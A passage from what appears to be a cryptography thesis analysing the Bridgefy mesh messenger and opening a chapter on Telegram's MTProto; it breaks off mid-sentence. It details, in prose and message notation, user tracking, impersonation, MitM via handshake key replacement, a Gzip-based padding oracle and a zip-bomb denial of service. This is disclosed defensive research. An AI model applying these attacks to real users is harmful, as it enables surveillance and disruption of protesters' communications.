Direct messages. Messages sent to a user who is in direct Bluetooth range have et = 1 and so ct is
of type BleEntityContent. Upon reception, its payload is decrypted, decompressed and then used to
construct the content of a Message object. Note that the receiver does not parse the sender ID from
the message itself. Instead, it sets the sender to be the user ID which corresponds to the device from
which it received the message. This link between user IDs and Bluetooth devices is determined during
the initial handshake that we describe in Section 4.3.3.
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The content of the Message object is parsed into an AppEntity, which also contains an entity type et
that determines the final class of the message. A direct message has et = 1 as well, so it is parsed as
an AppEntityMessage. Afterwards, a delivery receipt for the message that was received is sent and
the message is displayed to the user. Receipts take the format of AppEntitySignal: one is sent when a
message is delivered, and another one when the user views the chat containing the message.

Mesh messages. Bridgefy implements a managed flood-based mesh network, preventing infinite
loops using a time-to-live counter that is decremented whenever a packet is forwarded; when it reaches
zero the packet is discarded. Messages that are transmitted using the mesh network, whether it is
one-to-one messages encrypted to a user that is not in direct range, or unencrypted broadcast messages
that anyone can read, have et = 3. Such a BleEntity may hold multiple mesh messages of either kind.
We note that these contain the sender and the receiver of one-to-one messages in plaintext.

The received one-to-one mesh messages are processed depending on the receiver ID – if it matches the
client’s user ID, they will try to decrypt the message, triggering the same processing as in the case of
direct messages, and also send a special “mesh reach” message that signals that the encrypted message
has found its recipient over the mesh. If the receiver ID does not match, the packet is added to the set
of packets that will be forwarded to the mesh.

The received broadcast messages are first sent to the mesh. Then, the client constructs AppEntity-
Messages and processes them the same as one-to-one messages before displaying them.

4.3.3 Handshake protocol

Clients establish a session by running a handshake protocol whose messages follow the BleEntity form
with et = 0. The content of the entity is parsed as a BleHandshake which contains a request type rq
and response rp. The handshake protocol is best understood as an exchange of requests and responses
such that each message consists of a response to the previous request bundled with the next request.
There are three types of requests:

• rq = null: no request,

• rq = 0: general request for the user’s information,

• rq = 1: request for the user’s public key.

The first handshake message that is sent when a new BLE device is detected, regardless of whether
they have communicated before, has rq = 0 and also contains the user’s ID, supported versions of the
SDK and the CRC32 of the user’s public key. The processing of the received handshake messages
depends on whether the two users know each other’s public keys (either because they have connected
before, or because they are contacts and the server supplied the keys when they were connected to
the Internet).

48



4.3 The Bridgefy architecture

Key exchange. In the case when the parties do not have each other’s public keys, this exchange is
illustrated in Fig. 4.1: suppose we have two users Ivan and Ursula, where Ivan’s device is already online
and scanning for other devices when Ursula’s device comes into range and initiates the handshake.
The protocol can be understood to consist of two main parts, first the key exchange that occurs in
plaintext, and second an encrypted “application handshake” which exchanges information such as
usernames and phone numbers. Before the second part begins, the devices may also exchange recent
mesh messages that the device that was offline may have missed.3

Ivan Ursula

et=0, BleHS(rq=0, Rp(type=0, uidU, crc(pkU)))

et=0, BleHS(rq=1, Rp(type=0, uidI, crc(pkI)))

et=0, BleHS(rq=1, Rp(type=1, uidU, crc(pkU), pkU))

et=0, BleHS(rq=null, Rp(type=1, uidI, crc(pkI), pkI))

et=1, AppHS(ARq(tp=0), null)

et=1, AppHS(ARq(tp=0), ARp(tp=0, uidI, unI, vrf=1))

et=1, AppHS(null, ARp(tp=0, uidU, unU, vrf=1))

et=1, AppHS(null, ARp(tp=2, uidU))

Figure 4.1. Handshake protocol including key exchange between Ivan and Ursula. We abbreviate
HandShake with HS. Here uidI, uidU are user IDs, pkI, pkU are the public keys, and unI, unU are the
usernames of Ivan and Ursula; we have crc(pkU) > crc(pkI). The highlighted messages are encrypted.

In Fig. 4.1, some fields of the objects are omitted for clarity. Rp represents a response object
(ResponseJson) while ARq and ARp are application requests and responses (AppRequestJson and
AppResponseJson). The AppHandShake(rq, rp) object is wrapped in an AppEntityHandShake which
forms the content of the Message that is actually compressed and encrypted. Note that the order
of who initialises the BleHandshake depends on which user came online later, while the first App-
HandShake is sent by the party whose CRC32 of their public key has a larger value. We are also only
displaying the case when a user has not verified their phone number (which is the default behaviour
in the application), i.e. vrf=1. If they have, AppHandShake additionally includes a request and a
response for the phone number.

3This is facilitated by the dump flag in ForwardTransaction, but we omit this exchange in the figure as it is not relevant
to the actual handshake protocol.
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Known keys. In the case when both parties already know each other’s public keys, there are only two
BleHandshake messages exchanged, and both follow the format of the first message shown in Fig. 4.1,
where rq = 0. The exchange of encrypted AppHandShake messages then continues unchanged.

Conditions. When two devices come into range, the handshake protocol is executed automatically
and direct messages can only be sent after the handshake is complete. Only devices in physical range
can execute the BleHandShake part of the protocol. Devices that are communicating via the mesh
network do not perform the handshake at all, so they can only exchange messages if they already
know each other’s keys from the Bridgefy server or because they have been in range once before.

4.3.4 Routing via the Bridgefy server

An Internet connection is required when a user first installs the application, which registers them
with the Bridgefy server. All requests are done via HTTPS, the APIs for which are in the package
me.bridgefy.backend.v3.

The BgfyUser class that models the information that is sent to the server during registration contains
the user’s chosen name, user ID, the list of users blocked by this user, and if they are “verified” then
also their phone number. Afterwards, a contacts request is done every time an Internet connection is
available (regardless of whether a user is verified or not) and the user refreshes the application. The
phone numbers of the user’s contacts are uploaded to the server to obtain a list of contacts that are
also Bridgefy users. BgfyKeyApi then provides methods to store and retrieve the users’ public keys
from the server.

The messages sent between online users are of a simpler form than the Bluetooth messages: an instance
of BgfyMessage contains the sender and receiver IDs, the RSA encryption of the text of the message
and some metadata, such as a timestamp and the delivered/read status of the message in plaintext.
The server will queue messages sent to users who are not currently online until they connect to the
Internet again.

4.4 Attacks

In this section, we show that Bridgefy does not provide confidentiality of messages and also that it
does not satisfy the additional security needs arising in a protest setting: privacy, authenticity and
reliability in adversarial settings.

4.4.1 Privacy

First, we discuss vulnerabilities in Bridgefy pertaining to user privacy. We note that Bridgefy initially
made no claim about anonymity in its marketing but disabled mandating phone number verification
to address anonymity needs in 2019 [Twi19b].
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Local user tracking. To prevent tracking, Bluetooth-enabled devices may use “random” addresses
which change over time (for details on the addressing scheme see [Blu19a, Section 10.8]). However,
when a Bridgefy client sends BLE ADV_IND packets (something that is done continuously while the
application is running), it transmits an identifier in the service data that is the CRC32 value of its user
ID, encoded in 10 bytes as decimal digits. The user ID does not change unless the user reinstalls the
application, so passive observation of the network is enough to enable the tracking of all users.

In addition, the automatic handshake protocol composed with public-key caching provides a mecha-
nism to perform historical contact tracing. If two devices have been in range before, they will not
request each other’s public keys, but they will do so automatically if that has not been the case.

Participant discovery. Until December 2019 [Twi19b], Bridgefy required users to register with a
phone number. Users still have the option to do so, but it is no longer the default. If the user gives
the permission to the application to access the contacts stored on their phone, the application will
check which of those contacts are already Bridgefy users based on phone numbers and display those
contacts to the user. When Bridgefy is predominantly installed on phones of protesters, this allows the
identification of participants by running contact discovery against all local phone numbers. While an
adversary with significant control over the network, such as a state actor, might have alternative means
to collect such information, this approach is also available to e.g. employers or activists supporting
the other side.

Social graph. All one-to-one messages sent over the mesh network contain the sender and receiver
IDs in plaintext, so a passive adversary with physical presence can build a social graph of what IDs are
communicating with whom. The adversary can further use the server’s API to learn the usernames
corresponding to those IDs (via the getUserById request in BgfyUserApi). In addition, since three
receipts are sent when a message is received – “mesh reach” in clear, encrypted “delivery” receipt,
encrypted “viewed” receipt – a passive attacker can also build an approximate, dynamic topology of
the network, since users that are further away from each other will have a larger delay between a
message and its receipts.

4.4.2 Authenticity

Bridgefy does not utilise cryptographic authentication mechanisms. As a result, an adversary can
impersonate any user.

The initial handshake through which parties exchange their public keys or identify each other after
coming in range relies on two pieces of information to establish the identities: a user ID and the
lower-level Bluetooth device address. Neither of these is an actual authentication mechanism: the user
ID is public information which can be learned from observing the network, while [Rya13] shows
that it is possible to broadcast with any BLE device address.
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However, an attacker does not need to go to such lengths. Spoofing can be done by sending a handshake
message which triggers the other side to overwrite the information it currently has associated with a
given user. Suppose there are two users who have communicated with each other before, Ursula and
Ivan, and the attacker wishes to impersonate Ivan to Ursula. When the attacker comes into range of
Ursula, she will initiate the handshake. The attacker will send a response of type 1, simply replacing
their own user ID, public key and the CRC of their public key with Ivan’s, and also copies Ivan’s
username, as shown in Fig. 4.2.

Attacker Ursula

BleHS(rq=0, Rp(type=0, uidU, crc(pkU)))

BleHS(rq=1, Rp(type=1, uidI, crc(pkI), pkI))

BleHS(rq=null, Rp(type=1, uidU, crc(pkU), pkU))

Figure 4.2. Impersonation attack, with highlighted attacker modifications.

This works because the processing of handshakes in Bridgefy is not stateful and parts of the handshake
such as the request value rq and type of rp act as control messages. This handshake is enough for
Ursula’s application to merge the attacker and Ivan into one user, and therefore show messages from
the attacker as if they came from Ivan. If the real Ivan comes in range at the time the attacker is
connected to Ursula, he will be able to communicate with her and receive responses from her that the
attacker will not be able to decrypt. However, he will not be able to see the attacker’s presence. We
implemented this attack and verified that it works, see Section 4.4.3.

The messages exchanged over the mesh network (when users are not in direct range) merely contain
the user ID of the sender, so they can be spoofed with ease. We also note that although the handshake
protocol is meant for parties in range, the second part of the handshake (i.e. AppHandshake) can also
be sent over the mesh network. This means that users can be convinced to change the usernames and
phone numbers associated with their Bridgefy contacts via the mesh network.

4.4.3 Confidentiality

Confidentiality of message contents is both a security goal mentioned in Bridgefy’s marketing material
and relied upon by participants in protests. In this section, we show that the implemented protections
are not sufficient to satisfy this goal.

IND-CPA. Bridgefy’s encryption scheme only offers a security level of 264 in a standard IND-CPA
security game, i.e. a passive adversary can decide whether a message m0 or m1 of its choosing was
encrypted as a given challenge ciphertext c . The adversary picks messages of length 245 bytes and
tries all 2558 possible values for PKCS#1 v1.5 padding until it finds a match for c .
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Plaintext file sharing. Bridgefy allows its users to send direct messages composed of either just text
or containing a location they want to share. The latter is processed as a special text message containing
coordinates, and so these two types are encrypted, but the same is not true for any additional data
such as image files. Only the payload of the BleEntityContent is encrypted, which does not include
the byte array BleEntity.data that is used to transmit files. While the application itself does not
currently offer the functionality to share images or other files, it is part of the SDK and receiving
media files does work in the application. The fact that files are transmitted in plaintext is not stated in
the documentation, so for developers using the SDK it would be easy to assume that files are shared
privately when using this functionality.

MitM. This attack is an extension of the impersonation attack described in Section 4.4.2 where
we convince the client to change the public key for any user ID it has already communicated with.
Suppose that Ivan is out of range, and the attacker initiates a handshake with Ursula where rq = null,
rp is of type 0 and contains the CRC of the attacker’s key as well as Ivan’s user ID as the sender ID
(the user ID being replaced in all following handshake messages as well). The logic of the handshake
processing in Ursula’s client dictates that since the CRC does not match the CRC of Ivan’s key that
it has saved, it has to make a request of type 1, i.e. a request for an updated public key. Then, the
attacker only needs to supply their own key, which will get associated with Ivan’s user ID, as shown
in Fig. 4.3. Afterwards, whenever Ursula sends a Bluetooth message to Ivan, it will be encrypted
under the attacker’s key. Further, Ursula’s client will display messages from the attacker as if they
came from Ivan, so this attack also provides impersonation. If at this stage Ivan comes back in range,
he will not be able to connect to Ursula. The attack is not persistent, though – if the attacker goes out
of range, Ivan (when in range) can run a legitimate handshake and restore communication.

Attacker Ursula

BleHS(rq=null, Rp(type=0, uidI, crc(pkA)))

BleHS(rq=1, null)

BleHS(rq=null, Rp(type=1, uidI, crc(pkA), pkA))

Figure 4.3. One side of the MitM attack, with highlighted attacker modifications.

We verified this and the previous impersonation attack in a setup with four Android devices, where
the attacker had two devices running Frida scripts that modified the relevant handshake messages.
Two attacker devices were used to instantiate a full attacker in the middle attack, which is an artefact
of us hotpatching the Bridgefy application using Frida scripts: one device to communicate with Ursula
on behalf of Ivan and another with Ivan on behalf of Ursula. See Appendix B.2 for the code.

We also note that since the Bridgefy server serves as a trusted database of users’ public keys, if it was
compromised, it would be trivial to mount a MitM attack on the communication of any two users.
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This would also impact users who are planning to only use the application offline since the server
would only need to supply them the wrong keys during registration.

Padding oracle attack. The following chosen ciphertext attack is enabled by the fact that all one-to-
one messages use public-key encryption but no authentication, so we can construct valid ciphertexts
as if coming from any sender. We can also track BLE packets and replay them at will, reordering or
substituting ciphertext blocks.

We instantiate a variant of Bleichenbacher’s attack [Ble98] on RSA with PKCS#1 v1.5 padding (see
Section 2.4.1) using Bridgefy’s delivery receipts. This attack relies on distinguishing whether a
ciphertext was processed successfully or not. The receiver of a message sends a message status update
when a message has been received and processed, i.e. decrypted, decompressed and parsed. If there
was an error on the receiver’s side, no message is sent. No other indication of successful delivery or
(type of) error is sent. Since the sender of a Bridgefy message cannot distinguish between decryption
errors or decompression errors merely from the information it gets from the receiver, we construct a
padding oracle that circumvents this issue.

Suppose that Ivan sends a ciphertext c encrypting the message m to Ursula that we intercept. In the
classical Bleichenbacher’s attack, we would form a new ciphertext c∗ = s e · c mod n for some s where
n is the modulus and e is the exponent of Ursula’s public key. Now suppose that c∗ has a correct
padding. Since messages are processed in blocks, we can prepend and append valid ciphertexts. These
are guaranteed to pass the padding checks as they are honestly generated ciphertexts (we recall that
there is no authentication). We will construct these blocks in such a way that decompression of the
joint contents will succeed with non-negligible probability, and therefore enable us to get a delivery
receipt which will instantiate our padding oracle.

The Gzip file format [IET96b] specifies a number of optional flags. If the flag FLG.FCOMMENT is
set, the header is followed by a number of “comment” bytes, terminated with a zero byte, that are
essentially ignored. In particular, these bytes are not covered by the CRC32 checksum contained in
the Gzip trailer. Together, it looks as follows:

gzip(m) = ⟨header⟩ ∥ ⟨comment⟩ ∥ 0x00 ∥ compress(m) ∥ ⟨trailer⟩.

Thus, we let c0 be the encryption of a 10-byte Gzip header with this flag set followed by up to 245
non-zero bytes r :

c0 B pad(⟨header⟩ ∥ r )e mod n,

and we let c1 be the encryption of a zero byte followed by a valid compressed MessagePack payload
(i.e. of a message m∗ from the attacker to Ursula) and Gzip trailer:

c1 B pad(0x00 ∥ compress(m∗) ∥ ⟨trailer⟩)e mod n.
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When put together, c0 ∥ c∗ ∥ c1 encrypts a correctly compressed message as long as unpad(s · pad(m))
(which is part of the comment field) does not contain a zero byte, and therefore Ursula will send a
delivery receipt for the attacker’s message. The probability that the comment does not contain a zero
byte for random s is ≥ (1 − 1

256 )
245 ≈ 0.383.

To study the number of adaptively chosen ciphertexts required, we adapted the simulation code
from [Boy19] for the Bleichenbacher-style oracle encountered in this attack: a payload will pass the
test if it has valid padding for messages of any valid length (“FFT” in [BFK+12] parlance) and if it
does not contain a zero byte in the “message” part after splitting off the padding. We then ran a
Bleichenbacher-style attack 4, 096 times (on 80 cores, taking about 12h in total) and recorded how
often the oracle was called in each attack. We give a histogram of our data in Fig. 4.4. The median is
216.75, the mean 217.36. Our SageMath [S+19] script, based on the Python code of [Boy19], and the
raw data for Fig. 4.4 are attached to the electronic version of this document.4
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Figure 4.4. Density distribution for the number of ciphertexts required to mount a padding oracle
attack via Gzip comments.

We have verified the applicability of this attack in Bridgefy using ciphertexts c∗ constructed to be
PKCS#1 v1.5-conforming (i.e. where we set s = pad(m)−1 · pad(r ) mod n where r is 245 random
bytes). We used Frida to run a script on the attacker’s device that would send c0 ∥ c∗ ∥ c1 to the target
Bridgefy user via Bluetooth, and record whether it gets a delivery receipt for the message contained in
c1 or not. The observed frequency of the receipts matched the probability given earlier. This oracle
suffices to instantiate Bleichenbacher’s original attack. In our preliminary experiments we were able
to send a ciphertext every 450ms, suggesting 50% of attacks complete in less than 14 hours. We note,
however, that our timings are based on us hotpatching Bridgefy to send the messages and that a higher
throughput might be achievable.

4As bridgefy-bleichenbacher.py and bridgefy-bleichenbacher.csv respectively. Note that not all PDF view-
ers allow the loading of attached scripts.
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4.4 Attacks

Padding oracles from a timing side-channel. Our decompression oracle depends on the Bridgefy
SDK processing three blocks as a joint ciphertext. While we verified that this behaviour is also
exhibited by the Bridgefy application, the application itself never sends ciphertexts that span more
than two blocks as it imposes a limit of 256 bytes on the size of the text of each message. Thus, a
stopgap mitigation of our previous attack could be to disable the processing of more than two blocks
of ciphertext jointly together.

We sketch an alternative attack that only requires two blocks of ciphertext per message. It is enabled
by the fact that when a receiver processes an incorrect message, there is a difference in the time it takes
to process it depending on what kind of error was encountered. This difference is clearly observable
for ciphertexts that consist of at least two blocks, where the error occurs in the first block. We note
that padding errors occurring in the second block can be observed by swapping the blocks, as they
are decrypted individually.

Fig. 4.5 shows the differences for experiments run on the target device, measured using Frida. A script
was injected into the Bridgefy application that would call the method responsible for extracting a
message from a received BLE packet (including decryption and decompression) on given valid or
invalid data. The execution time of this method was measured directly on the device using Java. The
code can be found in Appendix B.3 and the raw data for Fig. 4.5 is attached to the electronic version
of this document.5

0 20 40 60
0

100

200

300

400

500

Time (ms)

Fr
eq
ue
nc
y

padding error
gzip error

error type N µ σ σ/
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bad padding 1360 33.882956 3.137260 0.085071
gzip error 1508 42.557275 4.273194 0.110040

Figure 4.5. Execution time of ChunkUtils.stitchChunksToEntity for 2 ciphertext blocks in
milliseconds. In the table, N is the number of samples in each experiment.

5As bridgefy-timing-side-channel.csv.
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If multiple messages are received, they are processed sequentially, which enables the propagation of
these timing differences to the network level. That is, the attacker sends two messages, one consisting
of c∗ ∥ c ′ where c∗ = s e · c mod n is the modified target ciphertext and c ′ is an arbitrary ciphertext
block, and one consisting of some unrelated message, either as direct messages one after another or a
mesh transaction containing both messages among its packets. The side channel being considered is
then simply the time it takes to receive the delivery receipt on the second valid message.

We leave exploring whether this could be instantiated in practice to future work, since our previous
attacks do not require this timing channel. We note, though, that an adversary would likely need
more precise control over the timing of when packets are released than that offered by stock Android
devices in order to capture the correct difference in a BLE environment.

4.4.4 Denial of service

Bridgefy’s appeal to protesters to enable messaging in light of an Internet shutdown makes resilience to
denial of service attacks a key concern. While a flood-based network can be resilient as a consequence
of its simplicity, some particularities of the Bridgefy setup make it vulnerable.

Broad DoS. Due to the use of compression, Bridgefy is vulnerable to “zip bomb” attacks. In
particular, compressing a message of size 10MB containing a repeated single character results in a
payload of size 10KB, which can be easily transmitted over the BLE mesh network. Then, when the
client attempts to display this message, the application becomes unresponsive to the point of requiring
reinstallation to make it usable again. Sending such a message to the broadcast chat provides a trivial
way of disabling many clients at the same time, since clients will first forward the message further and
only then start the processing to display it which causes them to hang. As a consequence, a single
adversarially generated message can take down the entire network. We implemented this attack and
tested it in practice on a number of Android devices.

Targeted DoS. A consequence of the MitM attack from Section 4.4.3 is that it provides a way to
prevent given two users from connecting, even if they are in Bluetooth range, since the attacker’s key
becomes attached to one of the user ids.

4.5 Discussion

While our attacks reveal severe deficiencies in the security of both the Bridgefy application (v2.1.28)
and the SDK (v1.0.6), it is natural to ask whether they are valid and what lessons can be drawn from
them for cryptographic research.

Given that most of our attacks are variants of attacks known in the literature, it is worth asking why
Bridgefy did not mitigate against them. A simple answer to this question might be that the application
was not designed for adversarial settings and that therefore our attacks are out of scope, externally
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imposing security goals. However, such an account would fail to note that Bridgefy’s security falls
short also in settings where attacks are not expected to be the norm, i.e. Bridgefy does not satisfy
standard privacy guarantees expected of any modern messaging application. In particular, prior to our
work, Bridgefy developers advertised the app/SDK as “private” and as featuring end-to-end encryption;
our attacks thus broke Bridgefy’s own security claims.

More importantly, however, Bridgefy is used in highly adversarial settings where its security ought to
stand up to powerful nation-state adversaries and the Bridgefy developers advertise their application
for these contexts [Koe19, Twi19a, Twi20c, Twi20d]. Technologies need to be evaluated under the
conditions they are used in. Here, our attacks highlight the value of secure by design approaches to
development. While designers might envision certain use cases, users, in the absence of alternatives,
may reach for whatever solution is available.

Our work thus draws attention to this problem space. While it is difficult to assess the actual reliance
of protesters on mesh communication, the idea of resilient communication in the face of a government-
mandated Internet shutdown is present throughout protests across the globe [BBC14, Bla14, JH14,
Twi20c, Twi20f, Koe19, Bha19, Twi20c, Twi20d, Mag20, Twi20h, Twi20b]. Yet, these users are not
well served by the existing solutions they rely on. Thus, it is a pressing topic for future work to design
communication protocols and tools that cater to these needs. We note, though, that this requires
understanding “these needs” to avoid a disconnect between what designers design for and what users
in these settings require [EHM17, HEM18].

4.5.1 Developments since publication

There have been a number of developments in the context of secure mesh messaging as well as
messaging in the protest setting since the publication of this chapter.

New attacks. As we briefly mention in responsible disclosure, Bridgefy adopted the Signal protocol
in response to our analysis. Follow-up work [AEP22] showed that this was done in a way that enabled
practical attacks on confidentiality without breaking the underlying libsignal library. Further, they
showed that Bridgefy had failed to mitigate against our impersonation, MitM and DoS attacks, and
that it still allowed the tracking of its users. The developers had deployed measures to stop some of
these attacks, but according to [AEP22] they did not warn their users about the vulnerabilities and
the current state of the mitigations is unclear. Bridgefy, in the meantime, continues to market itself as
a protest tool: “Whether it’s a large event, a school, traveling abroad, rural location, a natural disaster,
or a protest, Bridgefy’s got your back” [Bri23].

New applications. We write in Section 4.2.3 that Briar does not implement a mesh network in the
sense that Bridgefy does. While this is still true, it does provide a way for people to exchange offline
messages between trusted contacts in groups, which the Briar team refers to as a “social mesh”. Further,
the Briar development team recently announced that they are now doing research into supporting a
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“public mesh” which would enable Briar to relay messages using untrusted devices, i.e. what we call
full mesh capability [Tea23].

New applications promising connectivity without the Internet have also appeared on the scene since
publication. For example, Berty [Tec23], which is an open-source application built on IPFS and
which supports both online and offline communication modes, is in active development, though
its developers caution that it is “too early for Berty to be deployed for crisis use” [Tec22]. On
another hand, commercial hardware vendors are also making offers in this space. For example,
GoTenna [GoT23a] boasts “the world’s leading mobile mesh networking platform” implemented
using separate hardware devices which can be paired with mobile phones. While GoTenna markets
these devices to outdoor enthusiasts, festival goers or people in emergency situations, they also produce
devices for “tactical operations”, reserved for military use [GoT23b]; this suggests a potential conflict
of interest should these devices be used in protests.

New research. In this chapter and in Chapter 3, we have noted the open problems in the area, namely
the lack of suitable secure tools in the protest context. A number of works have appeared since which
attempt to address some of the open problems, mainly focusing on the technical problem of secure
group messaging on a mesh network.

[WKHB21], targeting small-size group chats in the protest setting with strong security guarantees,
uses two primitives to decentralise a double ratchet scheme with Sender Keys (a Signal-like protocol) –
causal broadcast and consistent group membership view – though the constructions for these assume a
fully-connected network in which messages are delivered in the order they were sent.

[PSEB22] is a work that explicitly designs for protests “of moderate size”. It aims to hide the identities
and the communication patterns between different users in addition to the usual messaging guarantees.
However, its chosen security definitions sidestep the issue of dynamic groups (where groupmembership
changes over time), do not consider forward secrecy and consider DoS attacks out of scope.

Moby [PJW+22] is a “ blackout-resistant anonymity network for mobile devices” promising end-to-end
encryption, forward secrecy and sender-receiver anonymity against a weaker form of an adversary
that is limited to a physical location. It provides only heuristic arguments of security, so it is unclear
what guarantees would be given in reality. Further, it only addresses the problem of one-on-one chats.

We would like to reiterate our word of caution to the designers of schemes such as the ones above. It is
important work with potentially wide-spread impact should the constructions be offered as practical
tools, which is why it is necessary to ground their definitions of security based on the real needs of
their (future) users. The results of Chapter 3 were only a first step in this direction; much more work
is needed in this area before new cryptographic schemes are proposed.
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Download Telegram.

Do your own research.

News are lying to you!

— anonymous graffiti, spotted by Joe

CHAPTER 5

Attacks on Telegram

Contents

5.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

5.2 MTProto 2.0 protocol. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63

5.3 Attacks against MTProto metadata validation. . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
5.3.1 Message reordering and drops. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
5.3.2 Re-encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68

5.4 Timing side-channel attack. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
5.4.1 Manipulating IGE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
5.4.2 Leaky length field . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
5.4.3 Practical experiments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73

5.5 Attacking the key exchange . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
5.5.1 Recovering the salt. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
5.5.2 Recovering the session ID . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
5.5.3 Breaking server authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82

5.6 Discussion. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
5.6.1 Developments since publication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83

We begin this chapter with an informal description of the MTProto protocol used to secure cloud chats in
Telegram, which we will later build upon in Chapter 6. We describe two protocol-level attacks – one of
practical, one of theoretical interest – against the symmetric channel of MTProto. We then give a third
attack exploiting timing side channels, of varying strength, in three official Telegram clients. On its own this
attack is thwarted by the secrecy of salt and session ID fields that are established by Telegram’s key exchange
protocol. We chain the third attack with a fourth one against the implementation of the key exchange
protocol on Telegram’s servers. This fourth attack breaks the authentication properties of Telegram’s key
exchange, allowing a MitM attack. More mundanely, it also recovers the session ID field, reducing the cost
of the plaintext recovery attack to guessing the 64-bit salt field.
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5.1 Motivation

Telegram is a chat platform that in January 2021 reportedly had 500M monthly users [Tel21a]. It
provides a host of multimedia and chat features, such as one-on-one chats, public and private group
chats for up to 200,000 users as well as public channels with an unlimited number of subscribers.
Prior works establish the popularity of Telegram with higher-risk users such as activists [EHM17]
and participants of protests (Chapter 3). In particular, it is reported in [EHM17] and in Chapter 3
that these groups of users shun Signal in favour of Telegram, partly due to the absence of some key
features, but mostly due to Signal’s reliance on phone numbers as contact handles.

This heavy usage contrasts with the scant attention paid to Telegram’s bespoke cryptographic design –
MTProto – by the cryptographic community. To date, only four works treat Telegram. In [JO16]
an attack against the IND-CCA security of MTProto 1.0 was reported, in response to which the
protocol was updated. In [SK17] a replay attack based on improper validation in the Android client
was reported. Similarly, [Kob18] reports input validation bugs in Telegram’s Windows Phone client.
Recently, in [MV21] MTProto 2.0 (the current version) was proven secure in a symbolic model, but
assuming ideal building blocks and abstracting away all implementation/primitive details. In short,
the security that Telegram offers is not well understood.

Telegram uses its MTProto “record layer” – offering protection based on symmetric cryptographic
techniques – for two different types of chats. By default, messages are encrypted and authenticated
between a client and a server, but not end-to-end encrypted: such chats are referred to as cloud chats.
Here, Telegram’s MTProto protocol plays the same role that TLS plays in e.g. Facebook Messenger.
In addition, Telegram offers optional end-to-end encryption for one-on-one chats which are referred
to as secret chats (these are tunnelled over cloud chats). So far, the focus in the cryptographic literature
has been on secret chats [JO16, Kob18] as opposed to cloud chats. In contrast, in Chapter 3 we
established that the one-on-one chats played only a minor role for the interviewed protest participants;
significant activity was reportedly coordinated using group chats secured by the MTProto protocol
between Telegram clients and the Telegram servers. For this reason, we focus on cloud chats.

Contributions. In this chapter, we develop attacks against Telegram on both the protocol level as
well as the implementation level, spanning from theoretical to highly practical.

Protocol-level attacks. In Section 5.3, we first show that MTProto allows an attacker on the network
to reorder messages from a client to the server, with the transcript on the client’s side being updated
later to reflect the attacker-altered server’s view; we verified this behaviour in practice on the official
Android client. We stress, though, that this trivial yet practical attack is not inherent in MTProto
and can be avoided by updating the processing of message metadata in Telegram’s servers. The
consequences of such an attack can be quite severe, as we discuss further in Section 5.3.1.
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Second, we show that if a message is not acknowledged within a certain time in MTProto, it is resent
using the same metadata and with fresh random padding. While this appears to be a useful feature and
a mitigation against message drops, it would actually enable an attack in the formal model that we
develop in Chapter 6 if such retransmissions were included. In particular, an adversary who also has
control over the randomness can break stateful IND-CPA security with 2 encryption queries, while
an attacker without that control could do so with about 264 encryption queries. We use these more
theoretical attacks to motivate our decision not to allow re-encryption with fixed metadata in our
formal model of MTProto, i.e. we insist that the state is evolving.

Implementation-level attacks. We present implementation attacks against Telegram in Sections 5.4
and 5.5. The first of these, a timing attack against Telegram’s use of IGE mode encryption, can
be avoided by careful implementation, but we found multiple vulnerable clients.1 The attack takes
inspiration from an attack on SSH [APW09]. It exploits that Telegram encrypts a length field and
checks the integrity of plaintexts rather than ciphertexts. If this process is not implemented whilst
taking care to avoid a timing side channel, it can be turned into an attack recovering up to 32 bits
of plaintext. We give examples from the official Desktop, Android and iOS Telegram clients, each
exhibiting a different timing side channel. However, we stress that the conditions of this attack are
difficult to meet in practice. In particular, to recover bits from a plaintext message block mi we
assume the knowledge of the message block mi−1 (we consider this a relatively mild assumption) and,
critically, the message block m1 which contains two 64-bit random values negotiated between the
client and the server. Thus, confidentiality hinges on the secrecy of two random strings – a salt and a
session ID. Notably, these fields were not designated for this purpose in the Telegram documentation.

In order to recover m1 and thereby enable our plaintext-recovery attack, in Section 5.5 we chain it
with another attack on the server-side implementation of Telegram’s key exchange protocol. This
attack exploits how Telegram servers process RSA ciphertexts. While the exploited behaviour was
confirmed by the Telegram developers, we did not verify it with an experiment.2 It uses a combination
of lattice reduction and Bleichenbacher-like techniques [Ble98]. This attack actually breaks server
authentication – allowing a MitM attack – assuming the attack can be completed before a session times
out. But, more germanely, it also allows us to recover the session ID field. This essentially reduces
the overall security of Telegram to guessing the 64-bit salt field. We stress, though, that even if all
the assumptions that we make in Section 5.5 are met, our exploit chain (Section 5.4, Section 5.5) –
while being considerably cheaper than breaking the underlying AES-256 encryption – is far from
practical. Yet, it demonstrates the fragility of MTProto, which could be avoided – along with unstudied
assumptions – by relying on standard authenticated encryption or, indeed, just using TLS.

1We note that Telegram’s TDLib [Tel20e] library manages to avoid this leak [Tel21j].
2Verification would require sending a significant number of requests to the Telegram servers from a geographically close

host.
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Responsible disclosure. We notified Telegram’s developers about the vulnerabilities we found in
MTProto on 16 April 2021. They acknowledged receipt soon after and the behaviours we describe
on 8 June 2021. They awarded a bug bounty for the timing side channel and for the overall analysis
(including the results of Chapter 6). We were informed by the Telegram developers that they do not
do security or bugfix releases except for immediate post-release crash fixes. The development team also
informed us that they did not wish to issue security advisories at the time of patching nor commit to
release dates for specific fixes. Therefore, the fixes were rolled out as part of regular Telegram updates.
The Telegram developers informed us that as of version 7.8.1 for Android, 7.8.3 for iOS and 2.8.8
